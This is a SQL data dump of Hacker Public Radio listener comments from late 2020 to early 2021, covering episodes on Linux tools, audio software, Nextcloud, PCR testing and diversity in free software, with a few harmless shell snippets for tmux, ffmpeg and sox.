(3048,3179,'2020-11-03 13:27:52','Archer72','re: janedoc','Wow, sounds like a great idea for a show!\r\n\r\nWhat did you find works best for the compression settings? Did you use standard setting, or find tweaks that would best suit your setup?','2020-11-03 19:39:41'),
(3049,3193,'2020-11-03 20:33:13','Ahuka','Agree with Brian','I think Brian has the right idea. A show, or maybe several, on darktable would be awesome!','2020-11-03 21:12:21'),
(3050,3245,'2020-11-07 17:07:59','Paul Quirk','Show warning','Electricity can kill you and burn down your house. Before doing any\r\nelectrical work, please be sure to follow all local codes and safety\r\nprocedures according to the authority that has jurisdiction in your\r\narea.','2020-11-07 20:27:36'),
(3051,3202,'2020-11-10 13:46:29','Enigma','Great first show','Enjoyed your first show, always knew i wanted to be a vampire.','2020-11-10 20:10:19'),
(3052,3206,'2020-11-16 15:34:07','Mike Ray','Thanks for a great show','Thanks for this episode Klaatu.\r\n\r\nThere were some good things in there to think about. Bit of a pity you didn\'t use the \'theatre of the mind\' phrase to emphasise the way DMs and players can enhance their enjoyment by graphic and detailed description. But I guess it is a bit of a cliche.\r\n\r\nI will think about responding to this show with one of my own, and what I have done on the way to taking up D&amp;D again after over forty years of not playing since I was at school.\r\n\r\nOne term I had never heard until this show is \'dice tower\'. Now I think you might have caused a few more quid to leave my bank and end up in Jeff Bezos\'. Even though I can\'t see the dice I have been unable to resist buying lots of them recently.\r\n\r\nOn listening to the \'Critical Role\' podcast, I fell in love with the sound of what sounded like a wooden dice tray.\r\n\r\nTyping \'roll d20\' at a Linux prompt is useful, but lacks soul.','2020-11-16 19:51:39'),
(3053,1771,'2020-11-19 18:15:52','Ken Fallon','Yes - found it','I *knew* someone did a show about this. I should have guessed.','2020-11-19 18:20:28'),
(3054,1796,'2020-11-19 18:21:37','Ken Fallon','And this one as well','Ahhh finally - the whole piece of the puzzle !','2020-11-19 21:04:15'),
(3055,2881,'2020-11-19 18:38:51','Ken Fallon','And the final piece of the puzzle','Proving I have totally lost my memory','2020-11-19 21:04:15'),
(3056,3209,'2020-11-19 22:13:59','Kevin O\'Brien','I loved the show','Great interview with Frank Karlitschek. I\'d love to know more about Next Cloud.','2020-11-20 19:37:47'),
(3057,3208,'2020-11-23 12:40:08','Charliebrownau','Feedback - HPR 3208e','Gday Paul\r\nI emailed you a feedback responce\r\n\r\n\r\nRegards\r\nCharliebrownau','2020-11-23 19:30:33'),
(3058,3126,'2020-11-25 16:43:29','mcnalu','Thanks for the comments','Dave - thank you for looking that up. Dividing surprises me actually as I was thinking it was more to do with movement but lines divide a 2D space and great circles divide a sphere so it makes sense.\r\n\r\nsesamemucho - glad it was helpful. \"On a tangent...\" is a very apt choice of words!','2020-11-25 20:28:06'),
(3059,3213,'2020-11-25 22:50:07','norrist','Great episode','I hope you do more about work in the electrical trades.\r\nMaybe some details about getting into the industry and what apprenticeships are like.','2020-11-26 20:11:33'),
(3060,3213,'2020-11-27 15:05:56','Kevin O\'Brien','I loved the show','I thought this was a great show. I look forward to more.','2020-11-27 19:20:25'),
(3061,3090,'2020-12-01 20:05:06','nstr','wow','hey, operat0r just wanted to let you know that this is probably my absolute favorite hpr episode to date. very good! made me want to get more into networking. thanks and keep up the good work!','2020-12-01 20:42:01'),
(3062,3158,'2020-12-03 10:09:41','crust punk','untitled','Thanks for a wonderful episode. It amazes me that there are actual people out there having this as their job. It seems like a dream come true, to me. Here I am unemployed atm, trying to scrape by. This surely puts one\'s life into perspective. lol.','2020-12-03 21:53:30'),
(3063,3218,'2020-12-03 15:12:39','Kevin O\'Brien','Another great show','I am enjoying Paul Quirk\'s shows, and I\'m looking forward to more. Darktable sounds like an interesting application that I need to check out.','2020-12-03 21:53:30'),
(3064,3207,'2020-12-04 20:35:41','operat0r','old days','Great eps last time I talked to any of thos folks was years ago. I think I ran into droops 5+ years ago. We used  to have a local group that met up at \"Frys Electronics\" called hackatl or something. I\'m waiting to start up local meetup here in Roswell GA','2020-12-04 20:57:09'),
(3065,3220,'2020-12-05 18:37:07','sesamemucho','A complete and conclusive report','Thanks for your shows about the Fediverse. I think I\'m going to have to check it out.','2020-12-05 19:16:37'),
(3066,3220,'2020-12-05 22:13:26','Ahuka','You are most welcome','I\'m glad you enjoyed it, and please do check it out. I am finding the Fediverse very congenial.','2020-12-06 20:51:26'),
(3067,3218,'2020-12-06 21:13:01','Ray Arachelian','would have been useful to have this podcast as a video instead','When talking about GUIs it would have been a lot more useful to have a video podcast instead. Seeing it in action would then have been possible.','2020-12-07 19:05:51'),
(3068,3218,'2020-12-08 09:37:53','Ken Fallon','Supporting Video','Hi Ray,\r\n\r\nThanks for the feedback. HPR is a Audio only Podcast, but I think Paul did a great job of describing the tool. I was able to follow along without problem while out and about.\r\n\r\nIf you are interested in helping out, feel free to record a screen cast of the steps Paul took with this show as the audio track. We will happily link it here, or if you release it under a Creative Commons License we can add it to the episode.\r\n\r\nKen.','2020-12-08 19:24:49'),
(3069,3223,'2020-12-12 13:54:41','Brian-in-ohio','compliment','Good to hear from you. I appreciated the show. Thanks for your insight. Could you do a show on the mechanics of the PCR test? Also, I hope this show doesn\'t lead people to think centralized controlled governments are the solution to any problem. Open standards, decentralization, liberty and freedom for ALL!','2020-12-12 21:55:49'),
(3070,3227,'2020-12-16 21:05:21','Jon Kulp','Pictures!','Great episode! I really enjoyed it but there\'s a major component missing. PICTURES of your fish and tanks! I kept wanting to see these. Looking forward to follow-ups.','2020-12-17 21:51:25'),
(3071,3226,'2020-12-16 21:10:26','Jon Kulp','I like it but probably won\'t switch completely','This was a great episode, and I really like the tool. I downloaded and tried it out and it works just as advertised. I don\'t think I will be using this as my primary ToDo list since it would require me to be sitting at a terminal to access it, but I\'m glad to know about it. I mostly use MyTinyToDo list (see hpr1899 :: MyTinyTodo List), which I have installed on my virtual private server and can access from any web browser. I also use the Tasks application on Office365 for certain tasks at work, since that\'s the platform our University uses. I definitely find taskwarrior appealing, though, and I\'m amazed at the robust feature set. Thanks for this introduction.','2020-12-17 21:51:25'),
(3072,3226,'2020-12-20 14:58:24','Dave Morriss','Write a manual!','Great show!\r\n\r\nI have tinkered with taskwarrior for years but never used it in earnest. It\'s been around for quite a while, and has developed a lot in its lifetime, but I have never quite found that it could do what I wanted. I think this is partly because you have to explore every nook and cranny of what it offers before its usefulness becomes clear - or maybe I mean *I* have to do this!\r\n\r\nI have always found its documentation to be a bit difficult to penetrate, because of the way it\'s laid out, and I haven\'t persisted. I mainly use the task capabilities of Thunderbird to remind me what I should be doing. However, I\'d like to master taskwarrior and look forward to reading your book about it ;-)','2020-12-20 19:32:03'),
(3073,3223,'2020-12-21 14:45:46','b-yeezi','re: compliment','I will definitely do a show on PCR.\r\n\r\nAlso, I agree with you that open standards and decentralization are good things. However, without the open standards and a cohesive, unified plan, decentralization leads to all the problems I\'ve described here.','2020-12-21 19:47:13'),
(3074,3232,'2020-12-22 04:58:19','the pro','this is a nice group','this is very nice','2020-12-22 19:41:08'),
(3075,3232,'2020-12-22 11:34:37','Ken Fallon','Upgrade via the UI ?','Hi Klaatu,\r\n\r\nI have used the UI for upgrading \r\n\r\n&gt; Profile Icon \r\n&gt; Settings \r\n&gt; Administration \r\n&gt; Overview Upgrade\r\n\r\nIs there any reason not do do that ?','2020-12-22 19:41:08'),
(3076,3232,'2020-12-23 14:43:26','Kevin O\'Brien','Good inspiration!','Thank you for this information, it is getting me thinking. I have an account on a Web hosting service, and it sounds like maybe I could install an instance there. But I wonder if I should create separate domain for that. My sites run WordPress and of course have MySQL databases for that, but can you have both a WordPress site and a NextCloud instance on a single database?','2020-12-23 22:07:10'),
(3077,3236,'2020-12-28 13:52:58','ClaudioM','Links for the Episode','Here are some links I found as I listened to the episode.  Tried to get them as I listened since I forgot to send them to Pat due to the holidays.\r\n\r\nThis page has been around for years.  Some links might be stale or dead.\r\nhttps://linux-sound.org/\r\n\r\nSome of the sound fonts I\'ve used:\r\nhttps://midkar.com/soundfonts/\r\nhttps://www.pvv.org/~hammer\r\nhttps://www.michaelpichermusic.com/sample-libraries\r\n\r\nMIDI/Music software discussed:\r\nJACK (JACK Audio Connection Kit)\r\nhttps://jackaudio.org/\r\nQtractor\r\nhttps://qtractor.sourceforge.io/\r\nArdour\r\nhttps://ardour.org/\r\nReaper\r\nhttps://www.reaper.fm/index.php\r\nCarla\r\nhttps://kx.studio/Applications:Carla\r\nDuality Bass \r\nhttps://audio-assault.com/duality.php\r\n\r\nMy Soundcloud page.\r\nhttps://www.soundcloud.com/claudiom72\r\n\r\nOpen source synthesizers:\r\nhttps://www.moddevices.com/\r\nhttps://www.linuxsynths.com/\r\nhttps://en.wikipedia.org/wiki/Korg_OASYS (Finally found that hardware Linux-based synth.)\r\nhttps://synthesia.sourceforge.net/\r\nhttps://zynthian.org/ (Don\'t remember if this was mentioned, but here it is. :-p)\r\n\r\nPipewire\r\nhttps://pipewire.org/\r\n\r\nunfa\r\nhttps://www.youtube.com/channel/UCAYKj_peyESIMDp5LtHlH2A','2022-02-14 13:25:15'),
(3078,3231,'2020-12-29 16:56:51','Windigo','Great technique','This technique seems like a great way to allow my loved ones to have an emergency \"skeleton key\" for all of my computers... in case that hypothetical \"bus\" ever shows up.\r\n\r\nThanks so much for the tip!','2020-12-29 19:53:12'),
(3079,3237,'2021-01-04 23:19:22','jezra','blather','Hi Jon, \r\nIt has been a while since any development work has been done on Blather. The codebase was ported to newer versions of Python, Gtk, Qt, and Pocketsphinx in 2017. Unfortunately, it would appear that every Linux distro is missing *something* that is required for the \"new\" version, and my primary Blather machine (Debian 11) still runs the old version of Blather with all of the old libraries installed.  It is a depressing situation. harumph','2021-01-05 20:46:34'),
(3080,3242,'2021-01-06 13:56:31','Ken Fallon','Video','Do you have a link to the Video referenced.','2021-01-06 22:34:48'),
(3081,3242,'2021-01-07 02:24:21','Klaatu','Cool skills','I am impressed by your Chromebook skills. Teach me your ways.','2021-01-07 20:48:22'),
(3082,3242,'2021-01-08 17:34:24','Kevin O\'Brien','I loved the show','Fabulous show, and interesting concept of using Klaatu\'s show and adding to it. It was so interesting I am working on my own follow-up to add to the conversation.\r\n\r\nI would love to hear more about the online video editing he was talking about. My own experiences with kdenlive have not been that good, for whatever reason.','2021-01-08 21:28:33'),
(3083,3236,'2021-01-10 03:02:52','Marc Lavallee','Jack and Pulseadio','Jack can work with Pulseaudio, I use it by default. \r\n\r\nThe Ubuntu Studio provides all the required configurations and tools to use Jack with Pulseaudio, along with a low-latency kernel.\r\n\r\nhttps://help.ubuntu.com/community/UbuntuStudio/UbuntuStudioControls\r\n\r\nI\'m not waiting for Pipewire...','2021-01-16 09:45:46'),
(3084,3240,'2021-01-11 22:03:52','Great episode','Important information, thank you','Really useful and educational episode. It\'s easy to not think about vulnerabilities, but it\'s so important to keep updated on the ones that are out there, and to learn from trends. Thanks for this reminder.','2021-01-12 19:54:58'),
(3085,3244,'2021-01-12 13:03:24','Kevin O\'Brien','I\'m jealous!','I wish I had an ISP as good as that where I am.','2021-01-12 19:54:59'),
(3086,3248,'2021-01-13 18:58:11','norrist','Is b-yeezi  a genius?','As if a masterclass on AWK wasn\'t enough, now he  gives us a detailed explanation of PCR testing.\r\n\r\nThank you for this episode.   It was incredibly interesting.','2021-01-13 20:48:04'),
(3087,3242,'2021-01-17 10:16:17','Reto','I like the concept','There was the Blog and then the Podcasts. Soon after VBlogs (Videoblogs) came up. While a podcast is/was to me a conversation between two or more people, the content on HPR is to me 96% more like an A-Blog (Audioblog).\r\nWhile hearing Ken &amp; Dave asking for more content, I would like to do that, but do I want to do a Podcast or an A-Blog?\r\n\r\nSo, although they were not speaking with eachother, I liked the concept and content.','2021-01-17 19:56:54'),
(3088,3246,'2021-01-19 22:39:08','Kevin O\'Brien','I loved the show','THis was a great show. I hope to hear more.','2021-01-20 22:44:09'),
(3089,3247,'2021-01-19 22:40:12','Kevin O\'Brien','Excellent!','It is always good to hear from a new host, and I love the routine he has.','2021-01-20 22:44:09'),
(3090,3248,'2021-01-20 00:05:54','Kevin O\'Brien','Another fantastic show','I suspect b-yeezi has some serious scientific training because he does a good job on this. A common misconception Ihave heard form soe people is that the MRNA vaccines might change DNA. And it just doesn\'t work that way. DNA is what produces RNA, not the other way around.','2021-01-20 22:44:10'),
(3091,3253,'2021-01-20 01:14:53','b-yeezi','New info, even for me','I\'ve been using Pandas and Numpy for years, and didn\'t know about np.select (from your code example). That\'s definitely going to come in handy.','2021-01-20 22:44:10'),
(3092,3249,'2021-01-22 12:37:35','Operat0r','greets!','Greetings and great show! yall rock! Now we got kernals that are like a terabyte...ohhh you need something? yah man just turn all these kernal mods on ... everything is fine...\r\n\r\nI just discovered nethogs in linux. Along with tmux zi have a dashboard that shows GPU / CPU / Network stats/pids \r\n\r\n\r\n\r\n# tmux 3 pane failsause\r\npkill -f tmux\r\ntmux new-session -s asdf -n myWindow -d \'bashtop\'; \r\nsplit-window -d \'nethogs -v 3\'; \r\nsplit-window -d \'intel_gpu_top\'; \r\nselect-pane -t 0 ; \r\nresize-pane -y 24 ;  attach-session','2021-01-22 20:40:14'),
(3093,3244,'2021-01-24 20:38:06','Dave Morriss','Great show for lifting the spirits','Wow! I\'m enormously impressed by Freedom Internet. This is how businesses should be run! Thanks for this great interview.','2021-01-24 20:40:02'),
(3094,3257,'2021-01-26 05:04:52','b-yeezi','I can relate','Don\'t worry. You\'re not the only black host in HPR! I\'ve got plenty of stories just like yours. I can relate to your experiences.','2021-01-26 20:30:40'),
(3095,3257,'2021-01-26 09:21:40','Tony Hughes','The lack of diversity in Linux','Hi Swift, I just wanted to say thank you for your show it is always good to hear things from the perspective of the a person who \'any\' community finds hard to reach. \r\n\r\nI know this is not a simple issue and there are many reasons why different community\'s do not mix, but hearing your experience and thoughts on the issue was very refreshing. \r\n\r\nThank you for a very thoughtful episode.\r\n\r\nTony Hughes','2021-01-26 20:30:40'),
(3096,3257,'2021-01-27 01:21:11','Beeza','Thoughts on diversity','Hi Swift. Really enjoyed your show. \r\n\r\nIf you look at the representation of the black community in the wider community of Linux/FLOSS then I think you are definitely on to something. However, there are a great number of non-white contributors to FLOSS projects all over the world - particularly on the Indian sub-continent. It would, I think, be a shame if anybody new to Linux and FLOSS felt there may be any kind of bias against, or any favour of, any racial group - not that I think you were suggesting that there is.\r\n\r\nBecause communication between contributors on projects often takes place using text-based messaging, for the most part we probably have no idea what the people we correspond with look like, or are like as people. Everyone is as good as their contributions, which is just as it should be.\r\n\r\nYou made the point that if you had not told the listeners of your racial background nobody would likely have known from your voice or accent. Absolutely right, so it\'s entirely possible that could be the case with a number of other HPR contributors.\r\n\r\nWomen, though, have far more distinctive voices so I think it\'s indisputable that of 3000+ HPR shows, the number submitted by women is pitiful. Diversity takes many forms, so I think there is at least as big an issue with gender diversity in Linux/FLOSS as there is in ethnicity.\r\n\r\nTo think in terms of a diversity \"problem\" hints at there being conscious efforts to attract or exclude certain groups. I honestly don\'t think that is the case in the Linux/FLOSS world, but there can be no doubt that broadening its appeal as widely as possible across society can only bring benefits at every level.','2021-01-27 20:53:22'),
(3097,3258,'2021-01-28 18:31:03','Kevin O\'Brien','I loved the show','Great show, and I am promoting it on my social media.','2021-01-28 22:17:31'),
(3098,3289,'2021-01-29 07:10:12','monochromec','apachectl restart vs. systemctl restart apache2.service','\"I had been using systemctl restart apache2.service to restart apache, but the recommended way is to use apache2ctl.\"\r\n\r\nInteresting observation, as the only difference seems to be a PrivateTmp clause in the unit definition of the service. \r\n\r\nI wonder why exactly that made a difference indeed...','2021-01-29 21:02:10'),
(3099,3252,'2021-01-29 14:51:38','Ken Fallon','Using this today','for i in {{1..100000}};do echo thanks a ${i};done','2021-01-29 21:02:10'),
(3100,3234,'2021-01-30 06:07:40','Windigo','IPad screen','I have yet to crack a screen on any of my devices (knock on wood), but hearing the story of your IPad made me wince as if I had.\r\n\r\nAs a silver lining, it made a very enjoyable episode. Thanks!','2021-01-30 19:13:18'),
(3101,3259,'2021-02-01 13:24:22','archer72','Show name','Yes, Ken, the show name was somewhat intentional.  This was only after I saw your future show on the Internet Archive while I was preparing show notes, and thought it would be a nice play on words.','2021-02-01 20:40:13'),
(3102,3262,'2021-02-02 19:12:50','norist','Storyteller','Thank you, swift110 , for the episode.  You have a gift for storytelling, and I hope you continue.  This is an important issue.  I don\'t know how to help except to promote stories like this.  I look forward to hearing from swift110 again.','2021-02-02 20:32:18'),
(3103,3262,'2021-02-04 04:08:55','Bill n1vux','well said','I agree with norist, swift110 is quite the story-teller. \r\n\r\nI could tell you were a man of taste when i saw the ThinkPad on your prior eps listing. T420 is a great Linux platform! (Especially sweet if bought refurb. :-D )\r\n\r\n(FWIW, Wikipedia says Langston Terraces were second federally funded projects in the nation.)\r\n\r\nYou\'re asking good questions.\r\n\r\nOne of the newest housing projects in Boston has a Technology Center within the campus, co-sponsored by MIT. southendtechcenter.org \r\nWhen Ubuntu LoCo teams were dis-established, some of the core volunteers here moved there.','2021-02-04 21:48:48'),
(3104,3262,'2021-02-04 23:49:10','Kevin O\'Brien','Further discussion','I thought this show was very timely,  and I would welcome further discussion. Freed software and open technology create possibilities, but they aren\'t guaranteed if people don\'t take the necessary actions.','2021-02-05 19:06:47'),
(3105,3187,'2021-02-10 21:52:20','Windigo','Interesting approach','I\'m currently battling with split-horizon DNS and DHCP on my local LAN, using a PiHole and the underlying dnsmasq server.\r\n\r\nI\'m very happy to have this episode as a \"Plan B\"; it\'s a very clever way to roll your own network services without having to worry about manual configs and fragile setups.\r\n\r\nThanks for the great episode!','2021-02-10 22:40:59'),
(3106,3269,'2021-02-12 13:46:50','claudiom','Thanks for the invite....','...I\'ll have my agent contact you. ;-)','2021-02-12 20:06:25'),
(3107,3262,'2021-02-15 21:51:15','blizzack','Systematically kept out - part 1','I enjoy hearing stories about (African) American experiences like this.  There was...as you mentioned a \'Great Black Migration\' that happened in the States. It sounds as though you\'ve done quite well for yourself and you have a strong community around that cares about you getting ahead in life.  That\'s awesome and we all need something like this in our lives.\r\n\r\nThanks for sharing your back story about you and your family.  I do appreciate someone talking about something else other their newest laptop, or the latest distro of their favorite operating system.\r\n\r\nThis is a podcast and like most podcasts there\'s lots of rambling and lots of pundits.\r\n\r\nI think you are making some broad generalizations about People Of Color (POC) in America -- even though you are a member of that community.  I know you stated - this is from your experience.\r\n\r\nFor instance, you state you feel the reason that POC are not vocal in the Floss community is because they\'re somehow afraid. I don\'t believe this at all.\r\n\r\nI think many POC are unaware of many FLOSS technological tools...but so are lots of other people who are not black, brown, or women.  Being ignorant or unaware of something does NOT make you afraid !\r\n\r\nI\'m sure your family was apprehensive of being part of that Great Migration; but they did it!  So did millions of other African Americans. https://en.wikipedia.org/wiki/Great_Migration_%28African_American%29\r\n\r\nPOC consume a lot of technical information just like any other folks in America. They use computers, cell phones tablets...etc. Additionally, they spend lots of money on tech related items. \r\nTech companies want POC communities (all communities for that matter) to consume their products. They have no interest in these communities participating in its implementation.\r\n\r\nFor instance, Are we to believe that Apple couldn\'t hire a POC as part of their QA team for their watches ??\r\nhttps://thegrio.com/2015/05/01/apple-watch-dark-skin/','2021-02-16 20:09:31'),
(3108,3262,'2021-02-15 21:55:13','blizzack','Systematically kept out - part 2','I think the main reason you don\'t see People of Color (POC) in the floss community is the same reason you don\'t see lots of black folks in lots of other industries.  POC have been purposefully kept out of tech jobs in America!  It\'s the same reason you don\'t see women in many of these places as well.  \r\nI would postulate that \'many\' of the people who contribute to Floss also work in tech in some way or another.  (Notice the word \'many\'...not \'all\' or \'most\')\r\n\r\nJust so you know...  I\'m black man, US citizen who lives in New York\r\nCity. I work as a software engineer and I\'m also interested in Floss.\r\n\r\nblizzack.com','2021-02-16 20:09:31'),
(3109,3271,'2021-02-16 15:14:37','thelovebug','Loved this!','Knowing how difficult it can be to engage a small child in front of a microphone without them going all shy, or grabbing hold of it and making farting noises, this was amazing to listen to!  Thanks for the entertainment!','2021-02-16 20:09:31'),
(3110,3241,'2021-02-16 15:20:37','clacke','NoSQL and Redis','Dave said \"this preceded NoSQL I imagine\", and he was referring to key/value stores in general I believe, which are indeed older than relational databases and are a layer on top of which relational databases are built.\r\n\r\nWhen I initially heard it, I thought it referred to Redis specifically, and I thought \"no way, Redis came out in the middle of the NoSQL boom\".\r\n\r\nI was wrong, by two days. :-D\r\n\r\nRedis came out on 2009-05-10 and the term NoSQL in the current sense was coined on 2009-05-12.\r\n\r\nhttps://en.wikipedia.org/wiki/Redis\r\n\r\nhttps://en.wikipedia.org/wiki/NoSQL#cite_note-20','2021-02-16 20:09:31'),
(3111,3241,'2021-02-16 15:27:29','clacke','Redis pronunciation','Most people pronounce it /reddis/, not /reedis/.\r\n\r\nIt is often used as a cache to avoid expensive database lookups, much like one would use e.g. memcache, and I\'ve always interpreted the name to hint at \"I don\'t need to make that heavy multiple-tables join, because I know I already \'read this\' just a moment ago\".\r\n\r\nI\'ve never looked up what the official story of the name is.','2021-02-16 20:09:32'),
(3112,3272,'2021-02-17 11:33:42','bookewyrmm','welcome','Hearing Your linux journey was like hearing someone read mine aloud. Though, my journey started a few years before yours. The win98/ME migration was my nudge to look into alternate operating systems. Like you, most of the communities I have encountered have been very friendly and helpful, I\'ve not delved into the ARCH world, but have encountered that type attitude elsewhere. Eletism exists everywhere, how we react to it is up to us. \r\n\r\nThat aside, welcome to one of the best communities on the web.','2021-02-17 22:06:42'),
(3113,3241,'2021-02-17 22:15:06','Dave Morriss','Key/value storage','Hi Clacke,\r\n\r\nWhat I couldn\'t recall at the time was the name Berkely DB. I used this for a while when it was owned by a company called Sleepycat. Later it was bought by Oracle.\r\n\r\nWe were OpenLDAP users at the university I worked at, and this ran on top of Berkely DB files. I failed to remember all of this in the show itself of course :-)','2021-02-17 22:17:12'),
(3114,3274,'2021-02-19 11:34:14','mcnalu','Might return to dwm','Enjoyed this episode which I began listening to and then switched over to the video version.\r\n\r\nI used dwm as my main desktop many years ago, perhaps 8 or so, and it brought my rather underpowered laptop alive. In the end I abandoned dwm because I had to use netbeans everyday and for reasons I never understood it wouldn\'t work with dwm. I\'m back with KDE again for now - yes, I like extremes! - but you\'ve nudged me into giving down another whirl.','2021-02-20 09:44:17'),
(3115,2356,'2021-02-23 21:27:06','Leo_B','If you\'re watching this in 2021','Do yourself a favor and run this guys fork of the script...\r\nhttps://github.com/stevesaner/pi-sdcard-setup\r\n\r\nIt removes some of the checksum complexities and other things that confuse the original setup.\r\n\r\nGreat episode and lots of good management tools through this approach.','2021-02-24 22:31:01'),
(3116,2356,'2021-02-25 12:02:01','Ken Fallon','Updated versions','Absolutely please use https://github.com/stevesaner/pi-sdcard-setup script.\r\n\r\nSince posting this show, there has been a follow up episode\r\nhttps://hackerpublicradio.org/eps.php?id=3173\r\n\r\nThe script mentioned here is now been maintained on github at \r\nhttps://github.com/kenfallon/fix-ssh-on-pi','2022-02-14 13:25:15'),
(3117,3241,'2021-03-03 12:05:34','clacke','OpenLDAP on BDB?','I didn\'t know OpenLDAP originally ran on BDB! These days it uses its own LMDB, which has also replaced BDB in many other places.\r\n\r\nTurns out, OpenLDAP started using BDB in 2002 and LMDB wasn\'t ready until 2011. In the middle of the NoSQL boom! :-)\r\n\r\nhttps://en.wikipedia.org/wiki/OpenLDAP\r\nhttps://en.wikipedia.org/wiki/Lightning_Memory-Mapped_Database','2021-03-03 21:39:23'),
(3118,3153,'2021-03-03 12:33:21','Ken Fallon','Thanks Again.','Amazing how many times I\'ve needed to use this.','2021-03-03 21:39:23'),
(3119,3262,'2021-03-08 13:55:44','bjhend','Get rid of bad terms in IT','Thanks for sharing your thoughts and feelings about bad terms in IT. I\'ve better understood now, what they may cause, so you got me to finally rename the default branches of all Git repositories in my organization I\'m responsible for.\r\n\r\nI\'ve written an internal blog post about that, linking to this HPR episode. Hope that others will follow my example.','2021-03-08 19:46:23'),
(3120,3292,'2021-03-09 16:46:41','Ken Fallon','Good Question','Yes lynx can be used to upload to HPR. Just tried it and it works fine.\r\n\r\nIf you are leaving comments and get an error, please email me and I can see what\'s causing it.\r\n\r\nFor old or future shows, we have extra checks.\r\n\r\n1) A difficult question related to what the P in HPR means.\r\n2) Deselect the \"I am a spammer\" tick box.\r\n3) Fill in the name of the host (you on this page)\r\n4) And tell us something to prove you are not a spammer. \r\nI\'m using \"Watch out that Squirrel is running 32 bit\" for this one.','2021-03-09 20:55:39'),
(3121,3291,'2021-03-15 11:53:07','RmccurdyDOTcom','audio','with ffmpg and VLC you can get everything done you need likely...\r\n\r\n\r\nhttps://trac.ffmpeg.org/wiki/How%20to%20speed%20up%20/%20slow%20down%20a%20video\r\n\r\n\r\n\r\nffmpeg -i input.mkv -filter:v \"minterpolate=\'mi_mode=mci:mc_mode=aobmc:vsbmc=1:fps=120\'\" output.mkv','2021-03-15 19:55:31'),
(3122,3292,'2021-03-16 17:01:16','A listener','Enjoyed the podcast, but...','The coffee slurping noises and throat clearing distracts from what is an enjoyable podcast. And, for someone who mentions that HPR is apolitical, you spent a lot of time talking about fascism and cancel culture.','2021-03-16 19:08:04'),
(3123,3282,'2021-03-18 00:12:55','frank','Using your OEM Windows key in a VM','Hi there,\r\n\r\nI&rsquo;m afraid I may have to dampen your expectations here. These days, the Windows license key (at least the OEM ones, meaning those that are imposed on you when you buy hardware) is usually tied to the hardware, i.e. the BIOS or whatever chip. I don&rsquo;t think It will be accepted inside a VM.\r\n\r\nYour best use for the drive would be to pop it into an external case and use it as mobile storage or as a backup drive. (Or leave it bare if you have a hot-swap adapter) That&rsquo;s what I did with the HDD that came in my Thinkpad. When that arrived 5 years ago, I only did a short boot-up because I was curious about Windows 10. So I had my first (and for many years only) contact with that. I then swapped the drive out for a 3rd party SSD (also from Crucial) straight away.\r\n\r\nRegarding your RAM peculiarity, I&rsquo;m not sure but it sounds like those missing 2 GB are siphoned off for the internal graphics.','2021-03-18 22:40:48'),
(3124,3292,'2021-03-18 15:27:18','Kevin O\'Brien','Thank you','I gather you won\'t see it, but thank you for the kind words. I look forward to more shows from you.','2021-03-18 22:40:48'),
(3125,3299,'2021-03-25 16:06:25','nobody','Other MAC implementations','In the episode you weren\'t quite sure if there are other MACs for Linux beside SELinux and AppArmor and indeed, there are!\r\n\r\nThere is Smack which is quite uninteresting as it\'s just an another label based MAC, similar to SELinux.\r\n\r\nTo me the interesting one is TOMOYO which started as a pathname based filesystem similar to AppArmor but later started differentiating between applications based on their process invocation history. This means you can apply different policies on say /bin/sh depending on the chain of execution leading to it (kernel -&gt; init -&gt; getty -&gt; login -&gt; sh VS kernel -&gt; init -&gt; sshd -&gt; sh). While this is also possible in AppArmor it is quite a lot more manual work and more difficult to reason about.\r\n\r\nTOMOYO also has much nicer tools than either of the more well known MACs. SELinux has given MAC a bad name as being hard and laborious to manage. If instead of SELinux people would be first introduced to TOMOYO they would probably be much more inclined to implement a MAC.','2021-03-25 21:50:58'),
(3126,3298,'2021-03-25 18:38:09','Windigo','Agreed','Well said! I\'ll never understand why people feel entitled to attack those donating the results of their hard work. If I don\'t like a piece of free software, I can skip it and support the ones I do.','2021-03-25 21:50:58'),
(3127,3296,'2021-03-25 20:25:38','Kevin O\'Brien','Great show!','I really enjoy these shows where people show how they defeat the bad guys. I hope there are more war stories to come.','2021-03-25 21:50:58'),
(3128,3291,'2021-03-26 01:24:07','Gumnos','Which hardware podcast player did you move to?','hey, I was a long-time fan of the Sansa Clip as well and managed to eventually kill both the ones I owned (and had put RockBox on). When I went to look for a 3rd one, they were outlandishly expensive. I couldn\'t suss out the make/model of the one you switched to.','2021-03-26 22:01:46'),
(3129,3291,'2021-03-27 13:15:58','Kevin O\'Brien','Your answer','The one I bought was called Klangtop, which I found on Amazon. I just looked, and now I don\'t see it, but I see something that looks identical under the name AGPTek. My guess is that they are all manufactured by a Chinese manufacturer as OEMs for various companies.','2021-03-27 20:30:53'),
(3130,3292,'2021-03-27 16:36:06','Thaj','Well...','I\'m canceling this episode you the only valid reason, slurping your drink in my ear at high volume. :)','2021-03-27 20:30:54'),
(3131,3303,'2021-04-01 12:24:33','Zen_floater2','Bravo','An excellent show sir. \r\nSomeday, I will try and put Slackware 13 on my older chromebook.','2021-04-01 20:45:33'),
(3132,3317,'2021-04-02 09:12:22','clacke','Errata','Apparently the term open source was not quite coined at that meeting described in the opensource.com article, people had been using it in a software context (not just the well-known military intelligence context) some time before then:\r\n\r\nhttps://web.archive.org/web/20180315075903/hyperlogos.org/blog/drink/term-Open-Source\r\n\r\n/via https://fosstodon.org/@be/105994362194990430','2021-04-02 20:18:52'),
(3133,3291,'2021-04-03 23:39:33','brother mouse','audacity batch','I use \"sox\" in linux scripts to automate stuff like speeding up audio, removing long periods of silence, etc:\r\n\r\n# adjust speed\r\nsox input.wav output.wav tempo [value]','2021-04-04 18:04:07'),
(3134,3305,'2021-04-05 15:51:52','Kevin O\'Brien','Adding my endorsement','I loved hearing the mention of my friend Michael W. Lucas. He is a great writer, and his technical books are are awesome. I used his book on SSH as a resource when I did my shows on that topic. He also writes some pretty good fiction, such as \"git-commit murder\".','2021-04-05 19:26:10'),
(3135,3308,'2021-04-09 18:07:33','Henry','Got some good tips ... thank you','I routinely encourage people to disable automatic image download for privacy reasons, but never thought of your idea to habitually view emails in plain text. I\'m going to do that.\r\n\r\nThe idea of running rules before spam processing seems obvious after you hear it. My spouse is constantly losing important emails in the junk folder.','2021-04-09 19:13:17'),
(3136,3311,'2021-04-12 16:58:50','brian-in-ohio','bravery','Agree or disagree with RMS, at least we he does not hide his beliefs behind the moniker \'anonymous \'.','2021-04-12 20:13:27'),
